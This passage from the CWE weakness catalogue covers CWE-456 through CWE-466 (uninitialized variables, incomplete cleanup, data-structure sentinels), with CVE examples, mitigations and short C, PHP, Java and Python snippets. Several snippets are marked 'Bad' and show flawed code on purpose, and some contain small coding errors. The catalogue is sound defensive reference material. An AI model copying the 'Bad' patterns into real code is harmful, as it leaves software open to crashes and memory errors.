Observed Examples

Reference	Description
CVE-2020-6078	Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476) *https://www.cve.org/CVERecord?id=CVE-2020-6078*
CVE-2009-2692	Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476). *https://www.cve.org/CVERecord?id=CVE-2009-2692*
CVE-2020-20739	A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage *https://www.cve.org/CVERecord?id=CVE-2020-20739*
CVE-2005-2978	Product uses uninitialized variables for size and index, leading to resultant buffer overflow. *https://www.cve.org/CVERecord?id=CVE-2005-2978*
CVE-2005-2109	Internal variable in PHP application is not initialized, allowing external modification. *https://www.cve.org/CVERecord?id=CVE-2005-2109*
CVE-2005-2193	Array variable not initialized in PHP application, leading to resultant SQL injection. *https://www.cve.org/CVERecord?id=CVE-2005-2193*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2355
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2372
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2442
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2461
MemberOf	C	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1178	2465
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Notes

Relationship

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

Research Gap

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Initialization
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	ERR30-C	CWE More Abstract	Set errno to zero before calling a library function known to set errno, and check errno only after the function returns a value indicating failure
SEI CERT Perl Coding Standard	DCL04-PL	Exact	Always initialize local variables
SEI CERT Perl Coding Standard	DCL33-PL	Imprecise	Declare identifiers before using them
OMG ASCSM	ASCSM-CWE-456		
OMG ASCRM	ASCRM-CWE-456		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-457: Use of Uninitialized Variable

Weakness ID : 457
Structure : Simple
Abstraction : Variant

Description

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

Extended Description

In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	908	Use of Uninitialized Resource	1792
CanFollow	V	456	Missing Initialization of a Variable	1089

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	665	Improper Initialization	1456

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	665	Improper Initialization	1456

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Perl *(Prevalence = Often)*

Language : PHP *(Prevalence = Often)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Other	Other *Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.*	
Authorization Other	Other *Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Attack Surface Reduction

Assign all variables to an initial value.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

Phase: Implementation

Phase: Operation

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

Demonstrative Examples

Example 1:

This code prints a greeting using information stored in a POST request:

Example Language: PHP *(Bad)*

```
if (isset($_POST['names'])) {
  $nameArray = $_POST['names'];
}
echo "Hello " . $nameArray['first'];
```

This code checks if the POST array 'names' is set before assigning it to the $nameArray variable. However, if the array is not in the POST request, $nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

Example 2:

The following switch statement is intended to set the values of the variables aN and bN before they are used:

Example Language: C *(Bad)*

```
int aN, Bn;
switch (ctl) {
  case -1:
    aN = 0;
    bN = 0;
    break;
  case 0:
    aN = i;
    bN = -i;
    break;
  case 1:
    aN = i + NEXT_SZ;
    bN = i - NEXT_SZ;
    break;
  default:
    aN = -1;
    aN = -1;
    break;
}
repaint(aN, bN);
```

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

Example 3:

This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

Example Language: C *(Bad)*

```c
char *test_string;
if (i != err_val)
{
   test_string = "Hello World!";
}
printf("%s", test_string);
```

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

Example Language: C *(Good)*

```c
char *test_string = "Done at the beginning";
if (i != err_val)
{
   test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

Example Language: C *(Good)*

```c
char *test_string;
if (i != err_val)
{
   test_string = "Hello World!";
}
else {
   test_string = "Done on the other side!";
}
printf("%s", test_string);
```

Observed Examples

Reference	Description
CVE-2019-15900	Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863). *https://www.cve.org/CVERecord?id=CVE-2019-15900*
CVE-2008-3688	Chain: A denial of service may be caused by an uninitialized variable (CWE-457) allowing an infinite loop (CWE-835) resulting from a connection to an unresponsive server. *https://www.cve.org/CVERecord?id=CVE-2008-3688*
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application. *https://www.cve.org/CVERecord?id=CVE-2008-0081*
CVE-2007-4682	Crafted input triggers dereference of an uninitialized object pointer. *https://www.cve.org/CVERecord?id=CVE-2007-4682*
CVE-2007-3468	Crafted audio file triggers crash when an uninitialized variable is used. *https://www.cve.org/CVERecord?id=CVE-2007-3468*
CVE-2007-2728	Uninitialized random seed variable used. *https://www.cve.org/CVERecord?id=CVE-2007-2728*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	2323
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1178	2465
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Uninitialized variable
7 Pernicious Kingdoms			Uninitialized Variable
Software Fault Patterns	SFP1		Glitch in computation
SEI CERT Perl Coding Standard	DCL33-PL	Imprecise	Declare identifiers before using them

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-436]mercy. "Exploiting Uninitialized Data". 2006 January. < http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip >.

[REF-437]Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008 March 1. < https://msrc.microsoft.com/blog/2008/03/ms08-014-the-case-of-the-uninitialized-stack-variable-vulnerability/ >.2023-04-07.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-459: Incomplete Cleanup

Weakness ID : 459
Structure : Simple
Abstraction : Base

Description

The product does not properly "clean up" and remove temporary or supporting resources after they have been used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	980
ParentOf	B	226	Sensitive Information in Resource Not Removed Before Reuse	562
ParentOf	B	460	Improper Cleanup on Thrown Exception	1102
ParentOf	V	568	finalize() Method Without super.finalize()	1290

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	980

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	2327

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Insufficient Cleanup :

Common Consequences

Scope	Impact	Likelihood
Other Confidentiality Integrity	Other Read Application Data Modify Application Data DoS: Resource Consumption (Other) *It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

Demonstrative Examples

Example 1:

Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

Example Language: Java *(Bad)*

```
try {
    InputStream is = new FileInputStream(path);
    byte b[] = new byte[is.available()];
    is.read(b);
    is.close();
} catch (Throwable t) {
    log.error("Something bad happened: " + t.getMessage());
}
```

Observed Examples

Reference	Description
CVE-2000-0552	World-readable temporary file not deleted after use. *https://www.cve.org/CVERecord?id=CVE-2000-0552*
CVE-2005-2293	Temporary file not deleted after use, leaking database usernames and passwords. *https://www.cve.org/CVERecord?id=CVE-2005-2293*
CVE-2002-0788	Interaction error creates a temporary file that can not be deleted due to strong permissions. *https://www.cve.org/CVERecord?id=CVE-2002-0788*
CVE-2002-2066	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://www.cve.org/CVERecord?id=CVE-2002-2066*
CVE-2002-2067	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://www.cve.org/CVERecord?id=CVE-2002-2067*
CVE-2002-2068	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://www.cve.org/CVERecord?id=CVE-2002-2068*
CVE-2002-2069	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://www.cve.org/CVERecord?id=CVE-2002-2069*
CVE-2002-2070	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://www.cve.org/CVERecord?id=CVE-2002-2070*
CVE-2005-1744	Users not logged out when application is restarted after security-relevant changes were made. *https://www.cve.org/CVERecord?id=CVE-2005-1744*

Functional Areas

- File Processing

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2368
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	2410
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2448
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2450
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2458
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2459
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Notes

Relationship

CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.

Relationship

Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Cleanup
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Release resources when they are no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO00-J		Do not operate on files in shared directories
Software Fault Patterns	SFP14		Failure to release resource

CWE-460: Improper Cleanup on Thrown Exception

Weakness ID : 460
Structure : Simple
Abstraction : Base

Description

The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.

Extended Description

Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1576
ChildOf	B	459	Incomplete Cleanup	1099

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2427

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *The code could be left in a bad state.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
public class foo {
   public static final void main( String args[] ) {
      boolean returnValue;
      returnValue=doStuff();
   }
   public static final boolean doStuff( ) {
      boolean threadLock;
      boolean truthvalue=true;
      try {
         while(
         //check some condition
         ) {
            threadLock=true; //do some stuff to truthvalue
            threadLock=false;
         }
      }
      catch (Exception e){
         System.err.println("You did something bad");
         if (something) return truthvalue;
      }
      return truthvalue;
   }
}
```

In this case, a thread might be left locked accidentally.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2365
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2379
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2399
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2448
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2466
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper cleanup on thrown exception
The CERT Oracle Secure Coding Standard for Java (2011)	ERR03-J		Restore prior object state on method failure

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
SEI CERT Perl Coding Standard	EXP31-PL	Imprecise	Do not suppress or ignore exceptions

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-462: Duplicate Key in Associative List (Alist)

Weakness ID : 462
Structure : Simple
Abstraction : Variant

Description

Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.

Extended Description

A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	694	Use of Multiple Resources with Duplicate Identifier	1523

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Use a hash table instead of an alist.

Phase: Architecture and Design

Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.

Demonstrative Examples

Example 1:

The following code adds data to a list and then attempts to sort the data.

Example Language: Python *(Bad)*

```
alist = []
while (foo()): #now assume there is a string data with a key basename
   queue.append(basename,data)
   queue.sort()
```

Since basename is not necessarily unique, this may not sort how one would like it to be.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	2348
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2378
MemberOf	C	977	SFP Secondary Cluster: Design	888	2407
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Duplicate key in associative list (alist)
CERT C Secure Coding	ENV02-C		Beware of multiple environment variables with the same effective name

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-463: Deletion of Data Structure Sentinel

Weakness ID : 463
Structure : Simple
Abstraction : Base

Description

The accidental deletion of a data-structure sentinel can cause serious programming logic problems.

Extended Description

Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1546
PeerOf	B	464	Addition of Data Structure Sentinel	1107
PeerOf	B	170	Improper Null Termination	428

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	2311

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Other	Other *Generally this error will cause the data structure to not work properly.*	
Authorization Other	Other *If a control character, such as NULL is removed, one may cause resource access control problems.*	

Potential Mitigations

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Use OS-level preventative functionality. Not a complete solution.

Demonstrative Examples

Example 1:

This example creates a null terminated string and prints it contents.

Example Language: C *(Bad)*

```
char *foo;
int counter;
foo=calloc(sizeof(char)*10);
for (counter=0;counter!=10;counter++) {
  foo[counter]='a';
printf("%s\n",foo);
}
```

The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	2407
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Deletion of data-structure sentinel

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-464: Addition of Data Structure Sentinel

Weakness ID : 464
Structure : Simple
Abstraction : Base

Description

The accidental addition of a data-structure sentinel can cause serious programming logic problems.

Extended Description

Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	138	Improper Neutralization of Special Elements	373

Nature	Type	ID	Name	Page
PeerOf	B	170	Improper Null Termination	428
PeerOf	B	463	Deletion of Data Structure Sentinel	1105

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	2311

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Generally this error will cause the data structure to not work properly by truncating the data.*	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.

Phase: Implementation

Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. This is not a complete solution.

Phase: Operation

Use OS-level preventative functionality. This is not a complete solution.

Demonstrative Examples

Example 1:

The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.

Example Language: C *(Bad)*

```
char *foo;
foo=malloc(sizeof(char)*5);
foo[0]='a';
foo[1]='a';
foo[2]=atoi(getc(stdin));
foo[3]='c';
foo[4]='\0'
printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3],foo[4]);
printf("%s\n",foo);
```

The first print statement will print each character separated by a space. However, if a non-integer is read from stdin by getc, then atoi will not make a conversion and return 0. When foo is printed as a string, the 0 at character foo[2] will act as a NULL terminator and foo[3] will never be printed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2344
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2376
MemberOf	C	977	SFP Secondary Cluster: Design	888	2407
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Addition of data-structure sentinel
CERT C Secure Coding	STR03-C		Do not inadvertently truncate a null-terminated byte string
CERT C Secure Coding	STR06-C		Do not assume that strtok() leaves the parse string unchanged

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-466: Return of Pointer Value Outside of Expected Range

Weakness ID : 466
Structure : Simple
Abstraction : Base

Description

A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2328

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	20

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Memory Modify Memory	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2342
